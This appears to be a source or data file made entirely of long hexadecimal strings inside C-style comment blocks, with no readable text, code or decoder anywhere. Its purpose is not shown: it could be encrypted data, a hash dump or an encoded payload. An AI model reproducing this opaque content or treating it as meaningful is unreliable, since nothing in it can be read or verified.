e2f0218c5242dedad070d2c1d2126255a61ef1267c2099edd6754cdde4ebf1ac57150c8bc7fb195a49ebc89d9a6b68321a5ec5be4010c9260925bb3d85874de616e1d5c006ff76ec114747a919e70312928f23cb68865ab29babed012b04d4d5ffc1b4ac2b43b9215116e4b367ab273b3d4f460bb48c15c74f88fe4e87b76600688c11829dba0406da86a9207413a25e52a3fc367bef2c068f4a9b7d5a3009510e5f0452575885aba5e6d397516a64391847f0668b5c40b241533a40469d589ca495d398f12b430a2e258a225c110cb7397548e47bb142dce27bfe366387aa67c6ae9adc121d764711edd3402111345eeb6025288726f49ca1d4588efe3e92bacf5f66e80892c0765060babf48c28f5f9db531b16f778e17cf3b48a0280c538b666d4ab5e6623d54636241d2e3336e92684951b3c9faa579fe8bd3bcc997b0e78c5a4567b59473c56fe6b8965723681fdc37f117b150e370eee5ee24ea7a9ff3fbb525d23c9c836111000b25ca19f8f92f65ab726161d083a6c5128a1e89979ac6571a5f87b682f865f49a4196e170e014017ff41408bbd73d8e9f2ca0a944178a412baeb7f851db760553f382a4b0450aaa315a051fc37a981a6e769a91734d85a8d93ac45e38edc2d1eceb4cbd14301164c69c301e4d9eb5ef24676de14a98a5477ba1f485aaf7abae2d28127a7f347ca91cba7932d9320b7cfdc9496b5add16d2cb4615322b95c92d8e6707b0c8d7d322fe2277417358cbbe6c34e1b50aa2a3f7297b804ba904315dd12f98d0c9af72177b856e03abe89ff8b8447e9b953924988f4f2386d556079915274c126b802ece9439085e8f93319c7a0cd5784649d75e3d1b0ec01a3d20f3120b8e6bbc8d4b5822223773f6740bbbba74da29ba8bb6467e23ee9899a2bc9304c2215f40f345ae72c4a581314e2fe4df5893cebab122300b1692dd0de509b52c2582089a16ed335d0431ffe5bdd79f72467591fbe859ad9cce35c6013c304a3c406395f5da975f922ad734e51a6658279a0d89d68a0ab4a32b22f65bcc6a6cd65fa5baa817ed859ff1cf65c4e26601cb060f346ca601a40f437fcb95f02a691a8cdaefdb62e6a255c4f2c49ea3cd8d170bf166b1497798061602eb0b9fc9f23bbbf4eb5f1bfb697e70ef5423f96ee1cb5ffba777b8d8cf19a965a195b793dcedad12ab19c5373f8030cc97005f3532056a71ce34dc1dcd1940d0a9d5b41c056d2507520ae2823f97f69338db3a83d117977f0a37fea87a0e9cec70609f701d73082ada923c0736b63fd31f8d31a4b32bdb8a877e624f54c4d6d0d407321de1e61f6fe30c01a2508f93486bd33b3021f5f06251fac918d1cde17637671b69b1ac348b14c0842cb2ffbb2a002905b2a227595394219671ec4c3f6df4c038a426e846573b914af2159994e3a59121598ef282bc23ca7c7c9cb0749e5b38542c5b382f*/
/*6fd166a1832c1f463f574fcbc807f2c4c5434d2306ebb809c0df5379b61e4f521113df553b4aca207e4801ca7f76e78ffb47604e5a0b8e13ef036699a0bd7d03ea8d95bb21e4884935518437e6a77a281f487dc830dd045a55446526a04f6169e592c898718ad9d1def191c935b58ae6d1e01b2508b36af2446bf4799d372f117a6bc124a1492db482ded42c507057504f2a3a34c5de7db9fc5cd486aa9bafc37875b6697c7ccd1b95878e428a79cccf0f2de21f79a6d4bfa1749ce7d4732c97aa504f40c816320be8918038684c1ec9dc270a71a1037d535f5e153bf64c0d060b9245076ca28d4d4bd9addbc092ec60c458dbe29306dee83e6bc840d44403648a0b7149601be9aae144e1d7ac296bcf81a15fa9e1c37682e5e2b4736d129075a83bba699a6cac82d962ce928ec958d7951aeded9c506d1616b04eec18cb3d85ed6b687420620adc3f8225d195d29bbe435589f3c19307407ce8c9eb46547032a49459d5b25a1a6d0970d7903970c4adf83a5bc074cff652d6b7dd684d3cab947b4eb3c882e5088b7017a8d1bb02e8fb25c42fd0346a67eb181fbbea32fde7fb172c2ec7fe163b8e6e0d4fff2c8b32ebec9b91ca8d3e98d58001999fc5f02cf8b6e304ae78554503501964ad631f8b20d1fc5be140379a277f6e16e0c7b0ee7e6edc6d68f7a7ea3a871834a00552d2b4985c9dd335fe32a2f4725d809b5c000bab50a23021192da261c5f0f31e38ec75fb643680e0e21ca2ae3daab0a95c84f3d050856271b2cc44e33783ea37d551e58803943a70915e47787adda9f560fe775208c9db180f6d358b367b3d31224acb64a8d2b816527c6441751fb3f4b1f7dc15c67330f22595a7d1846f2fed1836582a5b12f54aba6b217f24ae5c99918e322bfc7524fbaf81f5b58997394487125152222ebb22da6f19f80623de794f2d2ab99a148ffbc38e0c6261ccff71a242e749b5a9c5fec7a386d42a7086bfe338927440397c68c6cfb35afde5b3252082e7c532f715af0ffe25777ddb3fc5e89e76effc9721aa4d0972e2e1a6b42160a19e300b45e414dccb92db12227417debe09a05096a6feffbe4c0435ea455656940d947a54347ce06d6f00fdccb80c6c0e953ab11b8d3c45efc0c6047dd4d639fbbd746ffb42c0b870c941eca6c0f94f179aee13e9dbbfa325726cf1197c2bc1b2a06d24f78ba3b76a920a09c6c4fe9341254491f8e71a11ea02f2e8f2d6ab6f091544f551ad04e75a81a3508abac7cfe83ef6f46e38fca5d30b4bedf08dcdf987c89ee77b40fb989cdab434d51b852054116c579a99dff8a193dff667c14ac92df42471aeb9295be6a2eaa044a260d19e25586fb0e518a2039676015e470a9f61b9253b406d4b5de1cd81db142e890a2c148698a977b466b54bd9ce07c2a7ba75c8ffe0eec2298bc88fb48f1f784d09771376b5e770506586fa78b2ab26c2a84e73bc5159feb725e5362f440f4546d190cb8a5b996f2d15a6cb365cbc1961c5fe5d3e14f0ca386fe7b006c1011e3bdf8b38e46739f69104ee974ebba8003852f75ec1dd9ff8883f2c27b8356b503402bc681f7acd080cd878615452505d8ce13728f2525c611e958ef7bd4275ab8ab4ebb350449de7ee798ee7f82e7178b3ee35f3974f423e55ea1f56be183abc2e46292daf1a6c904601be960b2de05223d76e5cb82df9c5f5eddb8b43b849d5ad5d8a02755871932728df1646f5a205eb0423cc90cce7500b5db43c3cd2c90f81fd95254a9e7a878cd06520acdb850ac672e38c43794536643359914e8a93ed88ff0b849af32178404888789d99192cbad2bf2d90d4adba689d64a2cf8bba16a41c79f807de5ee3a14eae0de6eaafc02a73f33878e92315f6ad413f4bf582ede21d1c06d0117d636bd092419b6d88f1f77b85683cb1138281301ae5ea89baa42f62f77beff9e43ad54503949873d78034fd0b202e525a07fd90c1696ef6d9f857e264119aa3bff6d3287454caf578aa90821d4b2e6e1b8969f8395da868bd75ae17ebba9da7ab6307fef1a9c229d168f8fc75a417c818a41c1014099c6495ef92b8d5758f27e474058c99805416fd0bacfb84168dba682a3fe983b3122336104b7234dd872f6489718d9e1079f8d1174a9320ba476c1538f8c34a300a6980ced4c99fc7f29ad4996b1200ae07a9f6fa7f9dc2b339b78ec55da47683633f593481898a40bf64d6f3f3a53fe8ef132abf9385a9949cf5f712a6752eed97c5377b3e5c0f46e1de649984e0dc15df10bbe6d78c544b5d4ef2f7289846ae63bb90bce6a1b5d84a7c5434e775b330fa66fd2439f71c75d4c99b1a5310e3794545774affb100aa4c3b941ccdcf55e691070b6cdd886c60d8d3533774f644e69a8f2cc2d41dbc0725b736028fbdb28772185211f2a982d56079488edf88cae461b0532b4d25af4cfd945d0b8f8c8faef33bd24b4723fb5973e2c2954a46aabcf3913bfa4c99858f1b378d675cf7a3d201668f216e83f44d1941bd7e2e86740914f83202d2c15ef670e5cc6de4a7878dbb1c08a1a7502a89deedc84dccd1e9903a4adbc892efc3789a3b53a3510edef0c25bd991b545a3343319f4706a6ca9c2f7c4d2be3eebfb5c4fe4e407b3b00dbcc8b80e8f07b00f807e9fb6158eea852381904d388ae7cbf81db17a0dead19dce5efc967e515bad61d5fde3dadf6cf44e92e9f22cee0346cdaa4d45946bb98edc492c25f626ccd0ce42d2de578aeabccf2a41efc08c57a005baca82855b78726a6e9a9dbe377e1c9b215db3a0bb1b6eff89456a92b0528718acc438d0004cd9c9b40fc35cc8628064*/
/*5be91a4e8665eef20fd025207cc35f121f3991599a092dd0f4b6b68c321a90145e5de897b64d140be359efa2220142fe2e0a41315be7586e77abd8377b43c51895dc0625dec1fd81e177f7cef253d384e18cff21d34530b3c934187530a435fe75f38a524b7d2fdb32721d4585ec7118a8ea62dc34704c48d7fd59d8c06df085745c8aac4b00c68af8b32ecd3a9d35d0e851802a37617a384dd27756c76ed0e95e18ce3d34b0f3d5e8e642d29bd719f80d21bade4b0f750ef22a77739b450de15f3d06ed8aadeb6b5ba94e8d1945871c229a1ae95c5fe8e23313ceb45b289f45f1aab95c22726ba2f70e5b9c3b7f5d5dd040308560d6f6fcc6b99fac76fb342f5b21fbc098a879c9c7a8f0bb299b82e8000b4e3e47c98e9607ed80babd429094f2cde089ce64c23810e0cb46c9c22a345e1bf690f5a6b4f8d4827aacff5069a0b59ca52b9b9788c046b6ad68716736f0cafb0832c8344186d84120a13a716e063e59f90957cffff415f38fa5a74d64b678b9c5075efbb1a4a074201966f715f0b05b72b3d0835f74753fcf9b3140d71c7cba8542f5c2beee0921949af51e0951377be4ae1fe9912d752e35a0537c677b2928e6350e343ef00fb3cc5262ecbdeefb7cad1ae1957b7b28b241a5a567d33593c32a41799997a70ae72b1e0d9063247341059077a0254ad483e7f75ba9ff5002ba3fbcb74b033dd65f6fe01e3455cd23aaecb6f92e230e3478ba2b2cd4198fdd1bdcbf93c6f207df21b0bf9f4c4fb3aeb289b4e45fc588f7b7635f3ae4b031a1634777c9aa369009610aff4ad5f3bf426287bc0afa9e27c80efef4918fecff167157584a8968dc4b17734d2410c05a3d0ba7d5d1d1df146b183008803f337447d14501c70cf44e9c9bb35dbc28acb87e3915c76006f57ef11a4d9ee5105239b75d93346bb483baf766ae7d6aa2d88fd3203050df6da5af26a6fef6290f1dd13e3648b95a41030c773c64897c35336066af7e3928c33a1bba3ea326969cff210c5274b38de3d861223fd2065dbb9daf66a5986d1c9cc885d463625cca4714dcae4a3694bf32b032c7d4151df197e63203a74db8fdfb7ad1b8e8d296b3dce2222576af6431657e2b73cd3656bbb72061bac6b451747207f780a84f24041dbceaa1fe8ea5a926c6272c70c4d1b20c64dfdbd75d701b3f72a954e2c7110ea136aaa69128d102e720cf9bcffafccee1d301952f319769c138de2451dc70e06386839aaa74531736c8ac46b1ff2f5c8460e1acc1c19733ad388e6a955deaebc445c993cb1478234ed46d41cb5b2db674abe50ce4cad188155cd9e388f8971ba5641fe805b9b7befe941a3aac97672d19b5580b63178bbe5fbacb35d921ec18e38d49aef27a0c25c8f4d1119fd12cf3a4eaa9af8e1277dcc573186bc409dbdf7df002899923116cae0b6310adac34e11b6589ea4bc59c0fce65d56820964847da4b30bf11a06d964816ed16e4b7ffecbd5a009f32e4eef4dc19fe9a24048bc6bc8b748197ed21a90b7b2bcd1ec42d6d841769696a09841e635c3769735d80b190be9e4b0aa9176fc8a22f36fd28e2eb1e4c43a8ca0b4d7a9f8a55486b8b1b845b2801d00408581034194c840ec2e9c1083b6df59872152e443210240e3d370619fda51cac38c4bccf79bbbb307d33ffd7d6e8e3a2f7f9834b27ae34362ffa4472133ee423c5653ea4dcb8f6eabde1e7f4ac4b8b5e7a3c738a3f6b956d50999c033f75b4bb6e8eb2d707f8e6e7e46ea7bd3b1546625452106b4bbfd461a7adf561e9cb4ed39b6bee58c7b586b9cfc0ff74a122d442eb137345d9f28422a411ff5c4b5cfd499c5771296f01a3fa13b5d50574640bb3679e1c5738ef31a0b3dba6d66ae7b398f5fc6ed019536c81b36f8bee447d45b5283400daeab12728404b1b0c8e1686e02cb397bb915d6db68e01abbf39430412aea6d63c512781c24cb44b85434dad2d7a97dc3024573b044372027423d5c3768356cdc21f5869e29166d5e80ba25725509222425d2913b4f3e0678a503c13a69fb30b77c5da90dd152e32833ec7af059ce8ef317b1f1bdbeab7be6a7f8a47f5cfe3a207cbf58ef92744fc09c6a72e26dc9d27b7a4538893203435c3f0a6bec86ae4a4679d396fe75316363c3ee6c524e0e88abeff07e06ecba20536e3922494c673775fef14b3667bfaf82c47dca259cb13805cd4effe20ec378c17736d5a17cd6cd0c1e10dc99b2426e97ae00b9723930f3907361745dc3b6cfc629e26e147769a1d777d4377245611ecdca558764e2e8267ae2e43b0ed53b4971e69fee0813cac903afd80657ad25e9c14925b8c24faf0508e631cab8fe22ebbda9d1273707f80ceaf5ab5b5986dc5f51417c491d05fe777a0468435f8c0060999ac21568d51194ad2c63d3afd32e3d94c175add085db04f2362bee3784eea067dab71ad5666548041a9b5d3ecbde71fdd7fdbb143452e85d8c6783a88c330904755bb10d972eb653d57003cc83be67fecef935fd08c78d2d3398e3ef137149487f9106e9061d7993c51f7f4cc15e4ab8cd126732fc15585869ab5861d1718ee562affc431d47d2a20e4b567a31ae6c8ee8b15d24d72e4e8ff57540373666b331cf22516db1ca455d7de3a2a54269aced2e69a53a6b9224eb4f9574d01ed59008988774ef0346ccf8f6d3071c539d879a5af9dc8604d8ec6acbfd42c8e75a7362c57b2dfbe849c24b515918ae37aa7b93a25900a53e4c75b7d417e6ea97a6bce04ace8b6888dd511c3b3e4094a73bbc35288db6e2250618f8526976a89bffe45d80801f162be88a43f1e19ca583068bfe14841*/
/*572d5d64c5ce996df2857a7162e8e6687a6061b0178a7dcf730e0697510a631d95b162e1b2ae188330909ac6bc349c077262ab7debe6e6abcc78c3f01524406d7070e1845e6b6c554ec68ef52a6bcc04eb79c4a6f01447c2064f52b370ec469d1d1dbfecc3799fd7d7c25bb4ccec963a3ed4ec75bcdabbf9913e5e9d9ccf7afcd905d27000748a17441335615f8106e9e9988e4d2a49f850ed75090e380ddc20c585411f5343feecf24b91b48f3144d601de1f1f49ac869f4c888226e0ec2ce16d68fd02baf7b0ecd5c3778622b93fdd1f4e30bb8de54b04caa8f4ef37b3cb148b968a551fc33c9bc4b9e699a6b28fd64443ceb7bf4821f23d6ba9ce3ac0c6b56648eca4ce38e6758835ec4d2fc7b5d6b3c61ff6016beb0d56dc36364eacbf3a5a863cb5f5b445fad21fd8aa0fff0c58195033abede39be934bd3c1bc8b748482f80b408845e825264f7f77dd835b1d522c3e653c3730a57c582d12a4516aa91a51538339ac7ad602ec79da0756ab9316c1aa71f1032f50e5a32b075d6467ae9b33b122474e48b65ea56a80742fd8237bb7cd5ee965f9e3e0541a5015df3b0472bfc15cf6894ce3610f699df70c5f362a1d77c84be77bfd6362f16c1febbe4aafb213e456b44fc81dba1492d42461e45bb111288f0a140c339728b52ba3208b6b5527624bc9ca714359b0a06be8fccd6cdaa2816e05dcaa7abcaa1b5ea0ce83930a5691a662ab889b3b844f14cb30cf49b131e84c499d458ed0aa08da10c5ef1d0efcb39158c9fd4011200ee62c5c5be6d7f65387c8d12fed9b0855c66559c118be539835b5332460e563062e46f17773aa02992d610c895ea2f964f5b6f60cb8f74e3eb0f8762a76a0953c2ce280866010c782bff1ecd10cf9d3b447781246d220efae12eb044cad5c71d5ba974c13a9614c1074edba70f85790bca6c4494a502335b4cf4c8693d4c8e9d894a465e68ca602b8c4ce7c2978d8cd6fe0e83e5d63450f93b85c608c579673797e89eddd9d5a9e5898aedd110faf3650be407356cc32341f3ba45f7ed7e1461e6b4d63db71e47d2d95ef6426fd34e157b6990fb044a88430d5031ff9c98d4ce55aab32bad28a7f91d2ed37eec9a41b0c1afc3333a3fc0b06d007f7b6511140876434d57a476932d3bbe04ec92dd0f9a7d9cdfe1ca5c7bf952706418ad1dda69ebda818d18b3dc3837f6bb300972df40ed5402dad3c509a8978f8da6f53312bf4844dc59c5fadcca92cd857f383bb20bc7cef855734466c5b4be66a8b1f55c028fb2a5abb45103dda16ab7d5b87441c04184702328d836abe1ad3394edec649a9f0a6b0f5dc5af3e9964e2662c724005a6436d2c81893c85dda6ede3c34127edeec90514c236e939f565aa80d82ec1356bf6fb55f9db8ef6e8fad69dc2d88f054bb6e985548eda3e4270dee0014668b6daba6c50543c67d57139b7e5f79024ab92c20e89528d73f06420069c1e9371a68bd20cb41a10602bfbe20249986131bd2b4f658deac8ef1646819ad9d3a450a6d62d6fc82c937193b6e5db0450ac2d5fd2d4784114c1e860e7506f39c8e8f2d6ae6a73bebb23d5e9ebeda99d3a34d5da336fda786de8a7036b973e40bcd93f55fe96813b79e1ed83ea03a7daeb3d3aa50e2f0acd556b44ab55b9a751b164be48cf4105f5550442079e2d759db87d9d5fb17ee39b5b3f7cfd60afab875da8204cd4df3217fe9eca22c7c3fba6d5ac12e394875ed43ee221f11afc85285844ae2dac28cd3e7119c1418a9ca5f3491852c4bcd4fd063737f2901d1a31604024160a4fbfe0bf6596a1d33d93a7b3b106e59403528d19b45800f34dbcc3c91e84300686af806a49d0765df04a9f5954315af7840e620b0005027a97f78116dfec8dc28a0d3df4394c81e28f9aaad24f9b217abebfc19d5a647f2123c0388dabc9e8f05a757a584fea84fde70437ee99fc590d31dbcf3c07bc62275f09ba290af7fedd2e4a061d90f319e027cd9a3031af70696c7f8c072aa06fd32838a8c3756d6132d3dd3215e71586bacaa6f21196fc399b89833ba48bb083453bd1ee591687fb7533274150ac99d3bc0556643d08f9140650a64d59a3d61f9d26384ff305f8033729d278602aad0936052897287eb26dca20157cf25860cd4e32b26ab89d5c15312483dc903523f367c5f674b10eec848a781e5b83027aaaa7f9765ab25e05970a824e12b72d706c86251c64e69e37d4cdf989fe2fafcda37180383fb68d59b07b806570009c70536bada412a40409b98edcc0e65796d08945e0027327cb57d4c163c0a8ec817920370e4d265a993207191e9ebac9e33b37482aec30f40543624f0fae8e6555992431b69f37b9edd483100fdf3a1d32680a39bae9d07d09bb0c9ead8c2794beeeaf5bd59758f738953114ee2f2e4f2ce2adb2ff83e76f834782f2dcac1f6d06f566573b3664c51a8cb2e6ef8765a75c9cca8dfc3d65f632efa1464f0e125b001c44a0a10a88bb666209f43aa859d563044036e180a92272257a231a3934c667fdd3708c4ebb156da0ce8562876d1b098dbd24931bd2c3a51583ff331835f20fe8fd31e651f3cc825d918070895b29bfd2e3863099ea66389963979fd2f99fcc4d1e619b619d6f4dc062190ba4bcd06caa6812d55e97b09f8944d1d8f9de7065a892c80c1f47abf8db2f1205b4bd54324048538fd9345455afc05b0466232f8b0cc6c176aa8201a5d0ad6e640e0985626605564bb4da8e420ea6a8b9d643c13cd49ff99e1bd802e715ee0d001fe419c8e8fbd835673f2630a2b4cea19561518fe0729ef390f56586619a1f1680c2eadf*/
/*b0c205f313a151dd79a4bd7f9ff9512f2cbf3c77ea572e9686f72283f61bf891f78684b4f0e312051cc6a8078fb8c64ec371d14a829f2a08bc18cfef0e9868fd7b4c766cd1af411508a031c08cf94f5770da6e3ef90ffcf7661235097888703fda72dfed4e66f685c9663c8e4cb80680bcf4b22c338fafab8ef5cddf79321cfd0eea385a0d754ab61aaa22814bf7b6e074bf5f4974eb1964b7a142a1bbdd83e50aec75f39bba89fcd824466e66c55a217279db996f0e8ce73c6b9494cdc67cf8cda17473901aa7eea61b47d107cfe00ffa7554537256d0ba5c1932e03212b30535b25a1ab10e0f8e979e3f9d50674f9e0117d5a22565d4d10e9fa6fa55ef0509c1d732e0c4cb04c5f13ed9df1c477c610f722614b14521a97c748b4f8550a2dd735da97c89e168c03976e7227cab11d8c0097af691bdfc09311a43aa7a4a518a6762dfba07e0c3799e78638577610b1c527be29fec724155a22d1b86ae95fede5a7c49f3ae8340db77e253ca2fe999893c5aa21873a36bd3d12a6b9fb7facbd57512c2a3500c26393f059aea6c3043ba49e2c7a7624447d2d47887c65d0fbcda73db217e9cb253a00dbb2b9b1ce202424cc3c1603bd0ec7151812965bb0f5622cfcb642b71a332c780ec6f50932f1dccf84d54a884b5491694bc44f726871ef312ffcec95abd00abb38b9dbeb8437b8da81c835bfc01327ecd9115d6ad1f82528a12e4689b1953614d10bdf3d84eb8eb3c323b6d07064d6cb706c1ba3aa46bda7349c8f4529b7ad3b5694e16ee53e3c347cf8d8c0181f0d333a05049c617bfbe671a4738e44e9770330c0e9a601a0485d63faf93eac8e65607e9a11072cdc469eaa404c9a5efab5355d681087ecdcee7cd6d70d3838bf6ae9870fd83b121a0d5960491b997d70724896012c605c0794ca99a79f68868ab1a8d6b840d7c18dcfa8bfb1bddc86b46d1ea832da37b729ed96c58bd971e0d82a05ef83b4efb601a359bed51731cd4228ee28f3b957009032b4ee8ea8ac661bc3992aa2d4efdbcf0817873d8c3f1a4f362ec7f7d1057598a0da8da0cf2bbb863523fc09fe7dad75c157c7af694844df45a1b937d51828367d288386a1e14bee36c94d07dd15d444892eba04ab3c210e7cdb4bffad0953e4f8cce6385523069585fcb3388739562a10088ce9aa71b473ccf3945894dd5b6e9a7f8e467a6e70e88d257f37fb9ca0f8a3832c6786dd1df805f35288706460682381be1d94604bd5897ec165665c82e8b8e1eaec0bae0d2422318694c3a1a537e04f9697e689b0341f332c3d786a7267bb7f4bb5a80f88338b5074d36de6a958996822a060475ed8ea9991cd2cf6b53538c57a0a6c51800424f93f11638251ba76c4319d3854c647321cbae43ddece85d298d8e5b83615b8c6cbf433124dd45be5f9962701cbd1fbb22755ec150c31de9edd7d48fd032ad61578239dd037d99a273e30dfb79c30f776ae1aa0027084a7e47fc7e0462f527afc405b323b8c1ca50c19b239a54f597fd7a48bbadee936af797d58c172d0fbb46ebb61d394912e492124c856212ffebe3c94c7850f5655996bb1f7c22761f55023df06e4cd20399236751af344e8ab7c1507af6d1b40e6a29de5564aba2e7a81f2bd70ecd215dd9a7c487a20dd6f1e2efcfca4b6a1e2a09f925581f0619fd39e30bbdaf275fa6f21e2679ccfeae6473ff80d942b8a648aa609356206746669712fa9cb1aa37f7c9a520c08f60d5cc30067de3c8ed96dd2ed2664ccf85a57e59653175198e2102846d5c7bfa25a3b6717de8c96c15430b8c719d704c73c5f1f308f531c4de656c44ab00a955c7ef9b2d223814fea67f880eb24e26e09fe8e8b8aeaca624a9dba4fe650c5a3390be9c28f4991d9287958fc545bbd58c304da850a1e069333bd7e019231dac937e035abd7c87bbd8a8e5dfcbb2cf329b3b6f7b997545dbe11da56c16b143b484a29c6732be0fe8b24ec55d2f019015618eaad63b566bedae4dd457d62d7a2ec6ade9d6b935952449c3f93923aa5d4085173e3c28c85fbd2a4e639f556c541a458d3ac23e560d1001af89141694bbe158b6aca586e355a2e2d345fd71d71c9d9db2192bca74507de2a3c0679c32e541ce1b74c4422704c24306469bfeacf51c7a7f4f4df1a5cce91581ee62f46a029620bb1aa339fd1224aab8d545516539daed1f412d9ec73d3ea013f6f9b7cbb63952246e47e305246486283156c2925f22d2c27f903c5b107ece86e540b449451020ac1bdeef02106ca71894e56dd7a347b80ccca298579c06fbf537886d885f2e44f8209de6a2dbd53454c54877c9ae94c3878daaf39e85584b39e7918a751106420308be2728432c94712f615ae064f2ca21cf35719f18d9d356ee35437c56a819ef839a344786de19d04cb464d63fd8cca41c74eb2241d0a161bde506d45494fbfe069a8f4086540b46034d9b441a06b6789193db791d572d94f463c68a83d571ddabb3aefb967532ca216823d3785b1f370cd02363a61ea2afb8d30f1c89142f9cff4e4bb1f510408369df4c582496c5938edf552dc9f16ba99fbae507708f4bf0dca3f5f16529a300156dafbb0eb6cbd689272fae23e471b0a024fe83bbbf7e85bf542a5533faad5921e9b3303ebc053b69d546c6c29e8841d09bf4d66450f0200beaf4b6b049d4afd5a25aa5b8b8495c99994ee1cbd05ec52062bd97d633f3a47d9e95f91d70d1014f3e3e9d8fa21ad307bb9ea3abeea7d658c3ec65c263006d63ed2328710a824ee569734959eed785adc9970628bde82c3eefc473435158f739dc5e0b0cf03ad71e6a223220*/
/*c31edb4f3e7f975a94f2dc2c0ac4f503ef89b76247db589e50ac9e9001742d71102fa48371096ac44291961ff9caa15deedef4f6ec064cbe185abaa2b1dc989167f034e05a9048432f9e59e2f8e36fabad33c806f25f4334335a21c7cacd8dad146d329aa257b4d8702bad9032b500897502a2922a9d6a06e3de5795feb7a89274cdcb1a735770b445821c8d66c1275e87839b82669d085fe1cc2647cfae5c47dd3b508aa551596550c9cb4a6c0773a1b7dab876f4fdd230995bd956876e60e77f5bf972027a9e56b077046845aa2b60cc2a4f31c1decede4f6363300eb9738aae72b2a70191a87cc1be7c2393f4b4d7057e09c985b535fe48430a3e5079b33af4f7a0d19a5848934c687eea3d6cf007e25034a61f3102d5d7fcfe0861dc47707b3eea6ecf15d9eef88f0d25d5bb6ea1e4cdf37182fbc60e5f117d20783f3fa26b6faaf28ac8a223752eba7c5968f28e55eb1f4ce407ae20b80809cd803cef4796e48c03558075727f9babae0f1230960a01166458723258e913341ce202c7cbb07892cfe2f0b58d1892665ac1fd1a40557062629b6716de88ec468c70223ae9e07413d2524dd12351f248092e604e1df3f5015dd0d02f5255f186f28447f99632ab590db190d2867b207bc4694ce359ae2138e8b06bb30adab430625fc7e9aff4d0c92c2de9866ae56a25574161e670e8b9d571bb56b4c34425e1fe5962e8cc2bbdd8d97613645f9f80973f0f3c19cdc7f93909b3561c746a19159eba4a9fc1517fa1146310247c3c79c28a87ce7a00c1b887404e05e0227a86bd26213781a7c48e7b77d005723418e309ffa3cc22955c417872fcad8d6b0f08095678decbffaeead6bb1c2a50afe965402bba55614e32dd8010dfeb5269e1573ad12d2fd28a02fbcb73afbbea6443d90eb39244642e17cec42d812e1fb76ee012631ee3b835f5a51d18c026b7fcf23f54f5823a5b0db7416f81725e11f4a3053bb9208ba95fd9d5dbe3bccb132ae73e73866cc1fc3efb480bacca0123ad14acb0ba3fd4426b1cdf14c7784000c1cdb6a46f98d08b382f77e3afeff3fe133b36b9b59d97773c3c9a6e045a38a8967397c51ef97134b6151df1cd6dc71945902203b79ebcb51c3a35ef4b9c7bde2ec9c75201accc327032a7930c63548d3ca635211027a37146a3f76c8fc9771c7c5a29751f76a5761f24c69ab32d70d3d494a6767332dc021e451a0be438ed02189466071d6121680cc9d7a623269d52f0cba8eb816d6bc6b90ed3ef397bf37e0e7e7df8d20962f0ba99ecbcd35ab724f54de5629d8ed742ff595d532586fef65e4e795b706efab68735952457c4ddf9ea8c1fc1f807d3f8ecd65a66d62966798f627d9063d228ad746711b1cdf1c18afa0945419e7e1abeb7b5c6ca9dac4d79f08136f499b4929fb64d554d54f573bf3fab59f91e3d34be97f438310221214a0894c0e84a062351ea3a801770d6435b9f5672c08ebcf9a5127586aa7a820453fd2179df07d2c5affb56f815468fa888639dd6e5455ab4d2e24371df124415d8ae81649a7ec835d3f5bed73f9ecd60f838f59f15e938a43439734f9b8a9c091f1e6b346653a7202fe619a9d14e4828371e736fbf9ea4eecfab347ca176de052c42e61291485cb6f7ee6784ee8c5cf660fd141ce7e0c9180e211be29553bb12d3d3cae4e805f40eb921b503a00d453ac04e963a5a0987c5d1420a78ac05968f9126013f364fbe9c9cea9d2c0ae294a4308ce7a750aca39e5b3ed58606c8c9603648853e53874e812ceed3fe8458ae665f256084c82dfd23dcb99af863da19ba78f04b423905f2a78c5759961b196f946550e782058349d25543b73598877525bcc1537482107367d3d0c72f452864e596892b58f347a3f238fb646dd7ad29881b8597d4144c16d489fe2f1f9fe03cdcf229c7ba2dbe7745b9bc1dd68df22fbb5a7b55fcbe2f092234362ce3917b75949f86c5a834b9ccb6e152db555f07a91e7b7e3d2d679b4340c95211dae6873cac61ae47cc3ebcf9280e4cb45f244b51724aab89e576250de67940b8547717760aa42236de28364bc28dcefaecf49c2f21406646cbaf679d6b62133b1baa9a526c3a01d141c0fb4b0bd9f72824f511d1590aa78a5d60512e4262caa13a840270be5440015ccb719e21532fb3de6687c8cb97c92a44efd242abb5fcab8c6a30533695f369ea6c134d436263125dcceee89d0824b5268a5671d2860e73631ada6b3682dbefa1de946516a432ef40decca3098ba3bfcbb988a04c9357f1b88d90a9d4c397ce99ee820c0910043434b51671526eeadfc7a6b03323273dd12bcd129c6db4bb259e1dc3a1073e13d8dda660165c9734db1a8a0a8bd34fd83fb2eef6ba03d5dbae6280462e08ed0fd90316d504468c2c1dd986444528164623e38c54b51c0c26f9fb1e22f9cd74022b8dbc17853167260c9f385956878e66714efb003a3a2a63d2aae0a4daa70239e8342a5733091a41b94e63eaa41fd462e11c4914a70728b82085c1a6aa62a26f5660fb16e3e88ccf2d8233f1266920dea2df934af52695fe9dda4f2aeb040726ce8b96c84f8688632b8b2c1357bf5e98dcef66788de5de0610a4032324226aabb78c6469854bbe8114e661cdfd5021e216d753e3060ffb5ed13b53ccba7cd0e76b4ae0b8e19b2fcb1825b8ea4cff9256568ebf9c0a1b3d9db3f863b2f1961039c186895d737f8cc3b4936db097c37333f715b2d00d49982c7deaeb276c761afad5505643de228f7882a133fba3e2f5a3d7166974e805725726e02b8e7b1f9a9e09055ba04ea884d898c8917452286c22*/
/*b4c39a67dd15fa75b07cb18cf247134db7a27b69ff4519e95d7c872da20c2506b68c0cee571e8436c7816e5067abdec77d0ce63d0c834c3def3e1ee8ef34e83a69a71edbb9cbf26c70313f68c5be327a9a5808f5f2e7cbc7f0314fa33fefcd94895d0a3b32f568e525c1a4b4a474d2df010c2ecdf3fca3d6438a85277dbb4fcfcb7dced80ac35b8e04e312b479e380158c0a956dc8e7f1a8c3dd4b3ff9415ba80fb1a4c10fbcc67704a847eced4ccda0ff830766abcbb7be4ed8e4237e1a949b3069442f9298ebd74ce952735dd14108c8e0dfbc69ac02c9cb10211b4c621c84bf708daa221843bc91e00b2e134fcc25a9100bb8d101c9f1450579d1919207d057322e2564cdda18f1b760424ff2e39dcc2e72efbe2bb4fbb64f038409deb65759924b4d5c51170f480505589710481ed25846aa6c0c659bf36605d4c27a3f358a6b3f145337e237f220b81cce1e42eae9beb062b40e1e2c47b03da204751263e79d928702e3ebb48f1fad14896006960327f29093781574b47dbca6848f901c9e0813da6b1d3b1ad9f57753e1c8747b030f6ef0b20b180e8713c8f414b86b4011d22a3aec1a4e158269cf5c3ff0277fa6cea7937cf4ca2831086335901b4037efa577c37d142502d3b24a3f42d3765dca54ea53220bb67a3259429b1ed8c98e6ab8ddfb6153c9776724370070b2937e280c46e9b5a061f36e1bf63ab08b4eca0